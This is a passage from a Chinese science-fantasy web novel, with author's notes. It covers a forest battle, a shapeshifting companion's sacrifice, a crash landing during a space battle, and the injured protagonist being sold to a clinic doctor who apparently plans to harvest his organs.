子弹轰然迸射撞击在这层薄薄的护盾上，激起一片银光涟漪，却丝毫不能突破护盾的封锁。下一秒，江寻整个人向着侧面一拐，身形旋转一百八十度，脚下一蹬继续向后窜出，手上复合弓“嘣”一声，射出一点凌厉寒芒。 如此近的距离下，磐石根本没有反应的时间，然而他也无需躲避。 飞射而出的寒芒闪电般直冲着他的面门而去，却在撞上面庞时发出一声金铁撞击之声。 箭头在巨大的冲击力下被挤压地变了形，“当啷”一声坠下地面，磐石面颊上，一层嶙峋鳞甲从皮肤下浮现而出，在阳光下反射出一片冷光。 江寻面色更冷，收起手上的弓弩，扭身再次避过一道攻击，身形往身侧巨木后一躲，斗篷抽出往头顶一盖，当即失去了影踪。 见此，陆厌离心下一松，专心对上暴熊。还不时虚晃一枪扑向阴影中的蝰蛇，牵制住他的动向，迫使他不能追去江寻身边，为江寻赢得一丝喘息的余地。 胜利的天平在毒素的弥漫中缓慢倾斜过来。 就在陆厌离的利爪即将撕裂暴熊因转身而暴露出来的腰肋软甲时。 “砰砰砰砰！” 一连串子弹如炸裂的烟花般从几人左后方喷射而出，直奔扑击在空中的陆厌离而去。 陆厌离瞳孔瞬间收缩成一个点，腰腹一缩，前冲的力量瞬间转向。子弹在千钧一发之际被避让开来，与他擦身而过。 “老大！退后！” 五道鬼魅般的身影撕裂林幕，动作迅捷如风，从众人左后方林木之间冲出。手中端着的突击步枪上火舌喷涌射向陆厌离。 暴熊眼中爆出狂喜的凶光！当即脚下急退而出，抬手捂住自己的耳朵。 五人一冲出来，马上左右散开，把陆厌离包围在其中。 最边缘的两人肩头，闪烁着幽蓝能量的金属圆筒瞬间锁定陆厌离！ “嗡！” 一声穿透骨髓、直抵灵魂的尖锐蜂鸣，在空中骤然炸响！ 无形的音波重锤般砸在陆厌离身上，尖锐的蜂鸣如冰锥般刺入脑髓，陆厌离眼前一黑，世界瞬间颠倒错乱。 他纵跃在空中的身躯猛地一僵，墨绿瞳孔瞬间涣散，发出一声撕心裂肺的痛嚎，蓄势的扑击硬生生卡在半空！ 江寻猛地扭头看向陆厌离的方向，脚下一滞，斗篷被鼓起的风压微微掀起。 机会！ 始终窥视在旁，却无寸功的蝰蛇动了！ 狠毒的双眼钉上江寻的头颅，他手臂毒蛇般一甩，一道寒光撕裂空气！ 噗嗤！ 冰冷的金属狠狠划过江寻的额角！ 一股撕裂般的剧痛传来，温热的、粘稠的液体瞬间汹涌而下，糊住了江寻的右眼，视野只剩下一片晃动的模糊猩红。 “呃啊—！”江寻痛呼出声，整个身体被冲击力带动，背脊狠狠撞上身后粗糙的树干，滑坐在地。 “嗷呜——！” 陆厌离即使在强烈的音波攻击下，也没漏过这声闷哼。 嘶吼声中带着前所未有的慌乱！不顾音波带来的余痛与眩晕，当即强行扭身，就要向江寻的方向扑去。 分神！致命的破绽！ “去死！” 累积的熊熊怒火化作巨锤，巨大的熊掌撕裂空气，裹挟着恶风砸下，沉闷的撞击伴随着骨骼的呻吟，狠狠砸中陆厌离因分心而门户大开的侧腹！ 砰——咔嚓！ 与熊掌相比瘦小许多的猫躯，如同断线的风筝当即便被砸飞了出去，砸断了树干，重重摔落下去。 猩红的鲜血从口鼻中狂涌而出，陆厌离挣扎着，墨绿色的瞳孔痛苦地收缩，新伤叠加着精神力的枯竭和那该死的音波冲击，让他瞳孔中的神光濒临熄灭。 “不——！” 视野被猩红吞噬，剧痛和眩晕撕扯着江寻。但精神感应里传来的陆厌离濒死的痛苦与虚弱，如同尖刺刺穿了他的心脏！ 绝望的深渊下，一股孤绝的火焰轰然点燃！ 他猛地昂起被血污覆盖的脸，右眼一片混沌，左眼却爆发出烈焰般的炽亮光芒！ 他不再防御，不再思考技巧，将所有的意念与执着，化作一道纯粹、磅礴、决绝的精神洪流！ 陆厌离尾根处红光一闪灼意四起，半片红色图纹猛然从皮肤下面浮现而出。 下一刻，温暖而强大的精神洪流，跨过空间，顺着那道无形的链接，汹涌地、毫无保留地从图纹中涌出，冲向那黯淡濒熄的精神核心！ 精神洪流离体的瞬间，世界彻底抽离。剧痛、寒冷、无边的黑暗瞬间吞噬了江寻，他眼前一黑，软软倒了下去。 力量！如同岩浆奔涌而出！ 陆厌离后腰一热，身体骤然被一股熟悉而磅礴的暖流贯穿！ 枯竭的河床瞬间被汹涌的活水填满，剧痛被暂时压制，力量在每一寸肌肉中咆哮着重生！ “嗷吼——！” 陆厌离的咆哮震碎林叶！ 它猛地站起，伤口在澎湃的精神力下暂时凝固起来。 墨绿色的瞳孔燃烧起焚天之怒，死死锁定面前的敌人。 身前，暴熊正面现狂喜，凶猛冲杀过来。身周五个援兵不远不近地站着，冷酷地抬起了枪口和幽蓝圆筒！ 更糟的是，右后方密林深处，再次传来一阵急促迫近的呼喝与杂乱脚步声。 绝境！十面埋伏！ 陆厌离的墨绿瞳孔急速扫过全场，不行，再硬拼下去江寻就死定了！ 逃！送他走！ 陆厌离胸腔猛地扩张翕动，强忍着撕裂般的剧痛，周身再次爆出大量蓝紫毒雾，一声呼喝，遮天蔽日的毒雾骤然倒卷，被疯狂坍缩、凝聚到一点，粘稠如液球般在他胸前盘旋滚动，散发出令灵魂都几乎冻结的死亡气息！ 它四肢伏地，指甲深深嵌入地面，肌肉绷紧如钢铁弓弦，喉咙里滚动着低沉、充满毁灭欲的咆哮声，墨绿瞳孔死死锁定面前的暴熊与那队援兵，眼神里散发出玉石俱焚的疯狂！ 骤然爆发出的力量，让面前正准备斩草除根的暴熊几人面色煞白起来。 其中一个看上去最年轻的身影声音颤抖起来：“毒蚀爆？！不可能！他不是已经重度堕化，连人形都无法恢复了吗？！为什么还能用出这个S级技能？！” 可此时，无人能去回答这个问题。 暴熊面色大变，毫不犹豫地第一个向后飞窜出去，口中嘶声裂肺地大吼出声： “快跑！是毒蚀爆——！” 求生的本能压倒一切！暴熊不要命地狂奔而出，巨大的熊掌护住要害，壮硕的身躯急速后跃！磐石的巨盾轰然砸地，浑身一抖，现出一身狰狞鳞甲，整个人往巨盾后面一趴，缩成一团铁疙瘩！蝰蛇速度更快，早如影子般滑入更深的幽暗里不见了人影。 更远处，五个援兵手段尽出，不顾一切地向外狂奔而去。 轰——！ 压缩到极致的毒液球在一瞬的停顿后轰然炸开，周身空气被染成诡异的蓝紫色，无形的暴烈波动猛地扩散出去！ 草木瞬间焦黑枯萎，岩石滋滋冒烟！身后紧追而来的毁灭气息，让所有追击者肝胆俱裂，不顾一切地狼狈飞退！ 毒雾弥漫的瞬间，陆厌离眼中疯狂褪尽，只余冰冷的决断。 它转身如同离弦之箭般射向江寻的方向，驮起地上那个已然失去了意识的身影，身躯爆发出极限速度，化作一道撕裂苍穹的灰色闪电，转身射入森林最幽暗的腹地，向着登陆舰的方向疾驰而去。 * 陆厌离风驰电掣般卷回登陆舰上，把江寻往舰长座椅上一放。 安全锁扣被自动激活，“咔咔”两声自动弹射出两条安全带，把江寻紧紧固定住。 又在舰艇隔间的储物空间中翻找片刻，找出一小箱急救药物。 从中挑拣出自己需要的两条，低头叼到江寻面前，强行给已经失去意识的江寻灌了下去，又低头，调度出控制面板，再次确认了一番预设目的地与路线。 一切安排完毕，陆厌离扭头深深看了一眼江寻，便要转身下船。 刚扭过身子往前走了一步，脖子上一紧，染血的项圈被一股力道紧紧拽住，耳边响起一个有气无力的声音。 “你……你要去哪？” * 江寻刚刚在深层链接中恢复过来的精神力，又在一瞬的爆发之后枯竭了下来。 身体上的伤势更加助长了枯竭的症状，意识被一片冰冷黑暗笼罩，沉沦了下去。 不知过了多久，喉管里一股暖流流下，汇聚在肚腹里，一点点渗入身体，轻缓地抚慰着每一个细胞。 身体在这样的暖意里被渐渐唤醒，意识也从黑暗的深海中冒出了头。 江寻的手指动了动，眼皮艰难地睁开了一条缝向外看去。 脑子里的仍然有剧烈的嗡鸣声回荡，视野一阵阵摇晃发黑。 右眼被额上不断流下的粘稠血液糊住，一片猩红。只有左眼能模模糊糊看到一个大概的轮廓。 江寻使了使力，浑身却一动不动无法动弹，连抬头都困难，努力良久，才通过掀起一条缝的眼皮，看到了在自己身前忙来忙去的身影。 余光再向身边看去，确定了他们已经安全回到了登陆飞船上，紧绷的心这才稍微放松了下来。 坐在原地积蓄着力量，江寻看着面前的身影来回奔忙，等待着他启动飞船一起离开。却见他一通忙碌过后，看了自己一眼，便转身向着门口的方向迈开了步子。 情急之下，江寻爆发出刚刚积蓄起来的一点力量，猛然抬手抓在了他的项圈上，这才让面前的身影停了下来。 “你要……去哪？……你不和我一起走？” 江寻努力睁开眼睛，艰难地问道。 被他抓住的身影抬起头来，在他的手腕上蹭了蹭，深深看了眼他，却没有一丝解释的意思。转过身去，再次强行向着门口走去。 江寻死死扣住手中的项圈，左眼死命睁开看向面前的身影。 一人一猫沉默着僵持了片刻，却是江寻手上的项圈先坚持不住。 被血液浸透腐蚀的皮带，在两人的角力下，一声悲鸣整个断裂了开来。 江寻紧抓着断裂开来的项圈目眦欲裂，眼中执着几乎凝成了实质，却仍是不能阻止一心离开的身影。 “不！和我一起走！不要离开我！” 江寻以为自己在大喊，声音却小得如同蚊蚋，可即使是如此小的声音，身前的身影也明显听见了，又是一个停顿。 可停顿过后，他仍然毅然决然地直接启动了舰艇。 舰艇内一排排灯光投影次第亮起，动力室在一阵轻鸣声中嗡嗡运转起来，舷梯“咔嚓”一声，开始向上收起。 炫亮的灯光耀得江寻眼前又是一花，迷蒙的光影之中，他只看到面前那个小小的黑色身影开始抽长、长高，渐渐高出他的视野。 身影迈开大步，几步走到了大门边缘，一跃跳下了飞船，转身看向他的方向，说了一句什么。 可江寻耳边轰鸣声不断，根本什么也听不清。 他努力眨着眼睛，去看那道身影，却只能看到一片花白。 舰艇的金属大门在嗡鸣声中一点一点上下闭合，对面的人影在缝隙中变得越来越小。 “不……别走！” 江寻口中不住嗫嚅着，眼眶湿润起来。 终于，舰艇大门“咔嚓”一声紧密闭合了起来，船体一震，开始向着天空加速攀升。 江寻身体里积蓄起来的一点点力气终于再次用尽，手臂一软，落了下来。 手指一松，被紧紧捏在其中的项圈“叮铃”一声摔在地上，弹跳几下之后滚落在江寻脚边。 一滴晶莹泪珠坠落了下来，正正砸在项圈正中的黑色铃铛上，溅开一朵小小的花。 * 小型登陆舰在空中一阵加速，急速攀升上去，顷刻间消失了踪影。 陆厌离眷恋地最后看了一眼天空，扭过头来，与远远包抄过来的暴熊等人对上了眼神。 下一秒，陆厌离后腰上，艳红图纹一闪，熊熊爆燃的蓝紫火焰从他体内澎湃而出，接天连地，引燃了整片天空。 陆厌离脚下一蹬，向着对面的追杀者急速冲刺过去。 * 浩瀚无垠的宇宙安宁而静谧，深刻而隽永。 每时每刻，都有无数奇迹在微渺中诞生，又于盛大里逝去。 此时，正有一艘如微尘般渺小的小型舰艇，漂浮在这宇宙之中，沿着它既定的轨道前进。 意识如沉船般艰难地破开海面，从一片黑暗中浮出。 江寻呻吟一声，费力地撑开沉重的眼皮。 阵阵眩晕感仍未散去，如同潮水般一波波冲击着他的太阳穴。强烈的呕吐感袭上心头，江寻忍不住侧头过去干呕出声。 待得最强烈的一波感觉过去，面上已经布满了冷汗。 江寻睁开眼睛，他仍被安全锁扣固定着，端坐在舰长座椅上。 额上的伤口一片冰冷刺痛，血流已经在不知多久的时间里凝固，糊住右眼的血液也化为了干涸的血块，眼睛一动便纷纷碎裂成渣，散了一地。 那个决绝离去的背影似乎还映在他的视网膜上，身边却已空无一物。 江寻眼神黯淡下来，紧紧抿住了嘴唇。 操控着锁扣打开，他尝试着站起身来，双腿却毫无力气。 仰头就这么靠在座椅上喘着气，休息了一会儿，才一鼓作气地站了起来。 寻到储物间里，换下一身狼狈，又喝下两支药剂，江寻这才得了些力气，回想起之前发生的事情。 今天的一切都发生的太快，让他来不及反应。 明明上一秒，他还在为小树净化治疗，因为奇怪的体验和小树的隐瞒而尴尬生气。下一秒，却已经与敌人喋血战斗，独自一人狼狈逃窜，升上了太空。 想到小树，他心中一黯，一时说不清心中的感情究竟是什么。 自己已经完全接纳，一心当做家人的存在，竟然是一个来历不明的人类？ 他不知道对方是谁，又为什么一直扮作一只宠物隐藏在他身边。不知道他从何而来，也不知道他为何离去。 他的感情明明依然存在，如今心中却空落落的，不知该安放在哪里。 自嘲一笑，江寻为自己的愚蠢发笑。 原来如此，原来他是人类。知道了这一点，过去的种种可疑、说不通的事情突然就全部串在了一起。 哪有什么“旧主人”，那分明就是他自己。 怪不得他的身边总能看到他人留下的痕迹，却从未看到过人类的踪影。怪不得他能听懂自己的话，聪明到完全不像一只动物。怪不得他总是拒绝自己的亲昵，怪不得他的战力强大若此。 那群追杀者是冲着他来的吗？他现在又怎么样了？江寻眉眼低垂，面上的表情不辨喜怒。 脚下一动，撞到了什么，江寻一眼扫过，愣了一下，弯腰从地上捡起那串染血的项圈，大拇指从铭牌上刻印的名字上摩挲而过，紧紧扣进了掌心。 不再去想这些他已无从追究的事情，江寻调出舰艇的控制面板。 下一秒，舰艇空间中暗了下去，一圈墙壁颜色渐渐褪去，化为一片巨大的弧形舷窗。 光。 一片纯粹的璀璨星光跃入江寻的眼帘。 巨大的弧形舷窗外，是无边无际的宇宙深空。 不再是训练舱里模拟出来的星图，而是活生生的、浩瀚无垠的宇宙。 深邃的黑，仿佛能吞噬灵魂。亿万星辰像是点缀在无边无际的黑色天鹅绒上的无数细碎宝石，闪烁着冰冷而永恒的光芒。 一条由星尘组成的、散发着朦胧光晕的星云带，横亘在视野远端，吸引着江寻的视线。又在下一秒，被一颗巨大的、缓缓旋转的橙红色气态巨行星遮蔽。 遥远的天际，忽而飞过一颗明亮的流星，紧接着，无数流星紧随其后，在江寻眼中越来越近，忽地掠过江寻的头顶，小半个天空都被统统占据。 一种前所未有的渺小感攫住了江寻，他屏住呼吸，大脑一片空白，忘记了纠葛纷争，忘记了红尘俗世，甚至忘记了自己。 在这片超越了时间尺度的宏大面前，他过去二十多年中所有的痛苦挣扎、悲欢喜乐，渺小得如同一粒尘埃。 原来，真正的星空是这样的……他的心中只剩下这一个念头。 哐当——！ 江寻正沉浸在莫名的感动中，登陆舰突然毫无预兆地剧烈震颤了一下，像是撞上了一堵无形的墙！ 刺耳的警报声当即响起，撕裂了短暂的宁静，耀眼的红色警报灯开始剧烈闪烁起来。 江寻本能地抓紧了座椅扶手，身体被惯性狠狠向前一甩。 怎么回事？！ 他挣扎着扭头，目光投向舷窗的另一侧。 瞬间，血液仿佛被冻结。 静谧的黑暗之中，并非只有永恒的宁静，也掩藏着无形的杀机。 不远处，两支由无数钢铁巨兽组成的舰队，正以星辰为背景，上演着一场无声的死亡话剧！ 对阵的两方，一边是整齐的银灰色战舰。 数条颜色外观统一的战舰，无声地调整着队形，组成楔形阵列。 巨大的主炮塔从战舰底部两侧伸出，炮口一团令人心悸的危险蓝光从无到有汇聚而出。一次齐射，便如数道朗基努斯之枪，瞬间跨越空间，带着湮灭一切的气势射向敌阵！ 另一边，是一群涂装各异，舰型混杂的混乱舰队。但数量足有对手的几倍，火力也异常凶猛。 即使面对的是无可匹敌的强大攻击，也丝毫没有一步退让。 无数道猩红激光束从杂乱舰队中喷射而出，如同滚烫铁水被狠狠泼洒向银灰色的一边。 红色与蓝色在空中交错碰撞，在真空中无声地炸开一团团绚烂却又致命的能量烟花。 更小的舰载机如同被惊扰的蜂群，在巨舰的阴影中穿梭、缠斗。 爆炸的火光此起彼伏，每一次闪耀都意味着无数生命的终结。 破碎的装甲板和舰体残骸被爆炸的冲击抛向四面八方，在恒星的光芒下反射出冰冷的金属光泽，无声地诉说着战争的残酷。 江寻看得目眩神迷，血液几乎凝固。 当这在训练舱中司空见惯的画面，真实的出现在自己面前时，他才终于有了来到未来新世界的实感。 就在这时，一道肉眼几乎无法察觉的无形涟漪，如同水面被投入石子般，以远超光速的速度扫过战场边缘。 没有声音，却让他的内脏都跟着共振了一下。 嗡——！ 登陆舰猛地一震，像被一只巨手抓住，狠狠抡了起来！ 天旋地转！ 整个舰体疯狂地翻滚旋转起来，舷窗外的景象变成了疯狂旋转的色块：星辰、爆炸的火光、巨大的气态行星、银灰色的舰队、赤红的焰流……最后定格在一颗灰绿色、布满环形山的星球上。 原本离得极远的灰绿星球，在剧烈的翻滚中，在视野中急速放大，直至填满江寻的整个视野。 登陆舰中，急促的警报声震彻耳膜！整个舱室化为一片不详的血红！ 江寻的心脏狂跳得几乎要炸开。 整个人像是钻进了滚筒洗衣机，被翻滚着的登陆舰甩得不停在舱壁上来回撞击。 还未愈合的伤口猛然间崩裂开来，胸口一痛，一口猩红混杂着血沫喷了出来。 江寻剧烈咳呛一声，体内爆发出前所未有的力量，在翻滚中抓住了座椅扶手，使尽全身的力气，几乎是把自己砸回到了座椅上。 下一秒，安全扣锁自动激活，瞬间锁死。 他手中紧攥着那根破碎的项圈，双眼死死盯着面前那颗扑面而来的星球，在剧烈的翻滚和刺耳的警报声中，眼前一黑，彻底失去了知觉—— 作者有话说：这章写得好累，但是有点得意[撒花] 第65章 江寻沉沦在一场光怪陆离的梦境中， 迟迟无法醒来。 上一秒，他还抱着小树窝在沙发里，看着投影屏上显示出来的一个个陌生单词抓耳挠腮；下一秒， 沙发就变成了卧室， 怀里的猫猫化为一道看不清面目的黑影， 紧紧缠缚住他。 一会儿身处于热闹繁茂的森林，一会儿又置身于无垠的星空之中。 直至一阵剧痛突如其来地贯穿他的脑海，江寻猛然咳呛一声， 这才缓缓睁开了眼睛。 眼睛刚睁开一半， 江寻就被头顶上刺目的光线激了一下，忍不住半眯了起来。待稍稍适应了一下光照强度之后，才完全睁开了眼睛。 入目是一面有些陈旧的低矮白色天花板，墙面上溅着些看不出是什么的脏污，角落里墙皮翘起了几块，脱落了一大片， 看着像是受了潮的样子。 嵌在天花板中央的一圈白炽灯看着却很新， 洒下一片强烈明亮的光辉。 这里是…… 江寻为眼前陌生的环境皱了皱眉， 脑海里自动回放起昏过去之前的记忆。 对了，我在登陆舰上， 在太空里遇到了两支正在对战的舰队，登陆舰被他们攻击的余威波及到， 坠落到了一个星球上…… 我被人救了？ 刚想到这里，江寻右手边忽有脚步声响起， 江寻闻声扭头，便见到一个身穿一条宽大古怪围裙，面上戴着个口罩的年轻男人，掀开垂挂在江寻床侧的白帘， 走了进来。 这男子进了门，没有看江寻一眼，径直走向了摆放在一侧墙边的木桌。 江寻的视线跟着他移了过去，这才发现，这个房间里，围着墙壁一圈摆了很多个高高低低的柜子。柜子里被塞得满满当当的，有的柜门都关不上。而那张唯一的木桌上，也摆满了各种颜色各异的瓶瓶罐罐。 江寻这么一愣神的工夫，那进门的年轻男子，拿起桌上的一个泵式金属瓶往手上喷了喷。几秒时间之内，被喷到的地方就快速成膜硬化了下来，形成了一双紧贴着皮肤的手套。 江寻眼看着对方，手里又抽了支银光闪闪的手术刀出来，便转身走到了自己身前，终于忍不住了，张口出声： “你好，是你救了我吗？” 那年轻男子像是没想到江寻居然醒着，一瞬间便睁大了眼睛看向他面上，与他清明的双眼对上的一瞬间，便马上放下了手上的手术刀，从桌上捡起一只注满不明药水的针筒来。 江寻眼皮一跳，右手一抬，紧紧捏住他抓着针筒的手腕一扯，便将来人摔在了床上，两人位置瞬间调转。 江寻神色一厉：“你要做什么？” 那年轻男子没有丝毫回答江寻问题的意思，面色难看地扭头看向外间的方向，口中大呼：“来人！” 一边喊着一边更加用力地挣扎了起来，乱踢的双腿踹在床尾挡板上，砰砰作响。 江寻眉头一皱。 外面还有人！ 动作快速地伸手一够，从旁边桌上抓起了男人放下的那把手术刀。 这么大的动静终于惊动了坐在外间的两个男人，脚步声凌乱响起，下一刻，便见一只粗糙的大手猛地拉开了侧边的挂帘，一高一矮两个男人匆匆走了进来。 那高个男人一眼便瞧见了两人的姿态，嘴上叫骂一声便要伸手来拉江寻。 江寻揽着手下的人一个翻身，背抵上床头挡板坐定，手中锋利的手术刀就抵在了那人脖颈上，对面两人的动作马上停了下来。 “你们是谁？这里是哪里？” 江寻手上用力，压制住怀里揽着的人，目光紧盯着对方，沉声问道。 没想到先开口的却是怀里被挟制着的年轻男人。 “妈的！狗屎！我付钱的时候，你们两个不是说这是自愿卖给你们的人，不会给我找麻烦吗？这就是你们说的不会找麻烦？！” 对面两个男人有点心虚地对看一眼，高个男人辩解道：“自由城的规矩，谁捡到就是谁的，这人是我们捡到的，当然是我们的，这有什么不对？” 口里说着，也不管江寻的刀子还架在年轻男人的脖子上，手掌一伸就要来抓江寻。 江寻脖子一仰躲过高个男的手，手上的手术刀角度一斜往下一按，锋利的刀刃就在年轻男人脖子上划开一道浅浅的血痕。 夏因只觉得脖子上一凉，一股刺痛袭来，鼻尖便闻见了熟悉的腥甜味道。 面色一变，大骂出声：“你们两个蠢货给我停手！没看到我脖子上还有把刀呢！我今天要是出了什么事，你们两个一个也别想看见明天的太阳！” 高个男人被骂得脸色难看，不耐烦地撇了撇嘴，还是顾忌着夏因口中的威胁，收回了手：“行了行了，刚才我就说让我来动手嘛，你非要自己来，这会儿出了事你又怪我们，那你说，现在要怎么办？” 江寻听着他们的争吵，心下急转：“你们退后，站到墙边去。” 对面两人对视一眼，见江寻手上的手术刀又威胁性地往上提了一下，这才慢吞吞地后退。 一见威胁有效，江寻面色不变，心下不由松了松。刚才看两人的态度，他还以为他们不在意手上这人的死活呢，现在看来，这人还是有用的。 再次问道： “这里是哪里？你们是谁？我为什么会在这里？” 矮个男人看着江寻手里银光闪闪的手术刀，神情有点瑟缩，抬头看一眼高个男，见他没有反对的意思，小声地回答了起来。 “这里是夏因的诊所，你手上的人就是这里的医生夏因。” 见江寻面色不动，一副让他继续往下说的样子，接着答道： “我们是血狼帮的人，是我们捡到的你，按照自由城的规矩，你就是属于我们的了，随我们怎么处置都可以。我劝你别动你手上的人，他可是雷老大的人，你要是敢动他，雷老大能让你想死都死不了！” 听到这话，江寻总算大概明白了事情的经过。 恐怕是自己随着登陆舰坠落的时候被面前的两人看到，从登陆舰中找到了他，又把他卖到了这个所谓的诊所里。 这两个人连他这个受着伤又昏迷不醒的人都拿来卖了，想也知道登陆舰恐怕早就被他们卖了出去。 想到这里，江寻又是一楞，眼睛飞快在自己身上、床边扫视了一圈，面色难看起来：“我的东西呢？你们拿了我的东西？” 高个男面色难看：“你是聋了吗？不是告诉你了，在自由城，谁捡到就是谁的，那个登陆舰已经是我们的了，你想都别想！” “我不是说那个，”江寻脸色也沉了下来：“我的项圈呢？” 高个男正要再辩，被已然愤怒起来的夏因打断：“什么破项圈！一个项圈你们还不给他？你们是真想看我死在这儿是不是？” 高个男面色阴沉，恶狠狠地瞪了江寻一眼，不情不愿地从口袋里摸出项圈，手一抛，扔到了江寻面前。 一眼看到项圈还在，江寻脸色舒缓了些，一手用力压住夏因，一手慢慢伸出，把项圈拿了回来，正要开口再往下问，突然，一股不知从何而来的剧痛，袭上心头。 这股疼痛感来得如此清晰剧烈，江寻双手一个震颤，面色迅速惨白下来，额上冷汗溢出，后背瞬间被浸透。 被他反抱着挟制在怀里的夏因第一时间发现了他的异状，一感受到脖间压力突然松开，马上抬手握住江寻拿刀的那只手腕往外一掰，身子一动，向前跑了出去。 江寻因疼痛感惨白下来的面色，又难看了一分，再要去抓夏因，已经来不及。 更糟的是，那股难以忍受的剧痛感还在源源不断地冒上来。 强烈的痛楚让江寻难以自控，站在前方的两人，一瞅见机会，马上压了上来。 兔起鹘落之间，手上的手术刀便被对方夺了过去，局势一下子逆转了过去。 夺走了手术刀的两人还不解气，围着江寻，如雨的拳头就落了下来。 事已至此，江寻也不再去后悔，蜷缩起来抱着头，尽量减少落在自己身上的伤害，咬牙等着内外两股痛楚的过去。 两人泄愤地打了半天，眼见江寻窝在床上动也不动了，终于被夏因叫停。 “好了，别打了，他已经是我的东西了，我要他的身体还有用，打坏了你们就把钱退给我！” 两人闻言这才停下了手，从夏因的诊所里翻出根绳子把江寻彻底五花大绑了起来。 想起江寻刚才的举动，高个男眼中闪过一丝狐疑，心中贪念再起，伸手就要再去把那个项圈拿回来。 谁知江寻，即便被他们两人围住打了半天，也没有松手，一直把那个项圈死死握在手里。 高个男掰了半天都掰不开江寻攥紧的拳头，气急之下，握住刚夺下来的手术刀就要去割江寻的手。 夏因已经不耐烦了。 “行了！你们有完没完？！一个给狗用的破项圈你们还要抢？你们今天都耽误我多少时间了？” 夏因一手捂着脖间的伤口，只觉得颈间的疼痛让他更加暴躁了。 “交易结束了！拿着你们的钱赶快给我滚！别再来烦我！” 高个男不甘心地再看一眼被江寻紧攥在手心的项圈，再次说道：“登陆舰丢了，他问都没问一声。被我们打成这样了，还死命地捏着那个项圈，那东西一定很值钱的！” 夏因的暴躁几乎要凝为实质，他今天已经为了这破事浪费了太多时间，还见了血，此刻再也不想和这两个蠢货在这里纠缠，从口袋里再掏出两枚硬币往前一扔。 “够了！拿着钱赶快给我滚！或者，”夏因面色阴沉，“你们自己去和雷老大说？” 两人闻言对视一眼，都能看到对方眼中的恐惧与退缩，伸手捡起两枚硬币，这才不甘不愿地走了。 体内的剧痛感渐渐逝去，江寻喘了口粗气，侧过脸来，和望过来的冰冷视线直直对上—— 作者有话说：早上在写新地图的大纲，今天的正文写得晚了点。 先发一章，晚点等我写完再发一章[让我康康]《 》 65-70 第66章 夏因居高临下冰冷地看了江寻一眼， 面上没有了刚才的暴躁，就像看一具尸体。 这个联想让江寻心中不妙的预感愈烈。 感受到脖子上黏腻的触感，夏因不耐地抹了一把。入眼， 一片鲜红， 脖子上的伤口仍然在往外渗着血。 他的心情再次烦躁起来。 摘下口罩甩在桌子上， 没有再管江寻，转身进了旁边的休息室，对着镜子为自己处理伤口。 江寻暗自挣了一下， 身上的绳子纹丝不动。 打消了直接用武力逃跑的念头， 江寻不动声色地看向这间房间，搜寻着自己需要的信息。 这一看，马上发现了不对。 他所在的这间房间，空间不小，但是没有什么家具，房间里除了靠墙的一排柜子和一个木桌之外， 还有两台带着滑轮的仪器， 就那么随意地放在房间角落里。除此之外， 就是房间正中央并排放着的两张单人床。 头顶嵌在天花板上的白炽灯似乎是按照计算好的位置布置的，灯光打下来， 映照出的影子很小。 联想到这里是一间诊所的话，那这里毫无疑问， 是一间手术室。 床头冲着的方向还有一扇门，门上挂着一把老式的大锁， 看不到里面是什么样子，但是按格局来看，面积应该与他所在的这间差不多。 右侧方向没有墙，只以一道白帘隔开左右空间， 这会儿刚才的年轻男人却不在里面，显见里面还有他没看见的房间存在。 如今的他，正被绑着侧卧在其中一张床上。 视线斜下方的地面上，摆着个密封得很严实的，边长三十厘米左右的金属盒子，不知是做什么用的。 正观察着，便听右侧脚步声传来，已经摘去了口罩的夏因，帘子一掀，又回到了这间房间里。 没了口罩的阻隔，江寻这才看清了他的面目。 出乎意料的，他的年纪并不大，看着比江寻自己还要小上好几岁的样子。 金发碧眼，半长头发自然地卷曲着。五官从长相上看能称得上一句艳丽，但因为眼睛下面挂着的两个深深的黑眼圈，与无时无刻保持着的一脸倦色，看着损了几分颜色，让人不禁觉得可惜。 这会儿，脖子上缠着的一圈纱布，看着倒与他的气质十分适配。 一进房间，他就直奔桌前，重新拿起一个新的口罩戴上。 口罩似乎是他的一层防御，一戴上口罩，他整个人就明显放松了下来。手术刀一提，又走到了江寻的面前。 “你说你买下了我？你是需要我做什么事吗？” 心里还有一丝侥幸，江寻先发制人问出了话。 重新戴上了口罩的医生好像又重新穿上了他的铠甲，冲着江寻冷笑一声：“你什么也不用做，好好躺着就行了。” 心沉下去，看见脚边的那个金属箱子时，江寻就有不好的预感，如今预感似乎要成真了。 “是有什么人得了重病，需要马上换新的脏器吗？” 手术刀又举了起来，江寻不放弃地继续追问。 “你的命我已经买下来了，我想怎么用就怎么用，不用你操心。” 夏因似乎是想要报复刚才的挟持，故意对着江寻冷冷一笑，说道。 “不是马上要用的话，那不如先让我活着？”江寻试探着拖延时间：“脏器用起来当然是新鲜的最好，提前摘下来，不论保管措施有多好，很快就不能用了吧？” “哼！你以为你的命很值钱吗？我还要等到要用了再去取？像你这样的人，这里到处都是，需要用的时候再买一个就是了。” 夏因像是听到了笑话，又或许是被江寻努力求生的模样取悦到了，戏谑地笑着说：“你还有什么能耐？趁着还能说话，就赶快说给我听听，不然恐怕马上就没机会了。” 江寻沉默片刻，再次开口：“我认字，我学习能力也很好，学什么上手都很快，我可以给你做助手，做保镖，或者别的什么你需要的人，把我留下，收益绝对比一套脏器的价值高。” 夏因闻言，收了些笑，眼睛从上到下打量着江寻，语气中终于有了一些认真：“想留在我这里的人很多，不要说识字了，就是曾经出身中产家庭的精英也有很多，仅仅凭借这些，还不够资格让我留下你。” 江寻思考的时间更长了些，余光扫过空无一人的房间，在墙壁上深色的痕迹上停留了一下。 “如果我不是普通人呢？我是那种超级士兵，你这里平日里也不太平吧？你看到了，我的武力也挺不错的，刚才是因为有伤在身才被那两个人得了手，等我养好伤，我还可以保护你的安全，为你维持诊所的秩序。” 夏因眉头皱了皱，这次是真的有点疑惑：“‘超级士兵’？什么超级士兵？你是基因改造人？” 江寻一见有戏，忙解释道：“这是我自己的叫法，我是说，我有特殊能力，就是那种御使动物作战的能力，留下我，我的价值还可以提升的。” 夏因的脸色开始还饶有兴致，听着江寻的解释却越来越阴沉下来，江寻话语刚落，他已经一跃而起，远远地隔开了两人之间的距离，快步走到墙边，把安装在墙壁上面的一个拉手狠狠拉下。 安静的房间瞬间沸腾起来。 从四面八方的墙壁上，传来一阵阵刺耳嘈杂的噪音。 指甲刮黑板的声音，尖锐的刹车声，刀叉摩擦盘子的声音，椅子拖过地面的声音，各种各样人类难以忍受的声音混杂在一起，被深埋在墙壁中的扩音器扩大，响彻在安静的房间里。 江寻被突然的变故吓了一跳，又被随后响起的这阵噪音吵得难受，紧紧皱起了眉头。 夏因拉下了拉手之后，便再次扑了出去，猛地拉开了木桌下的抽屉。 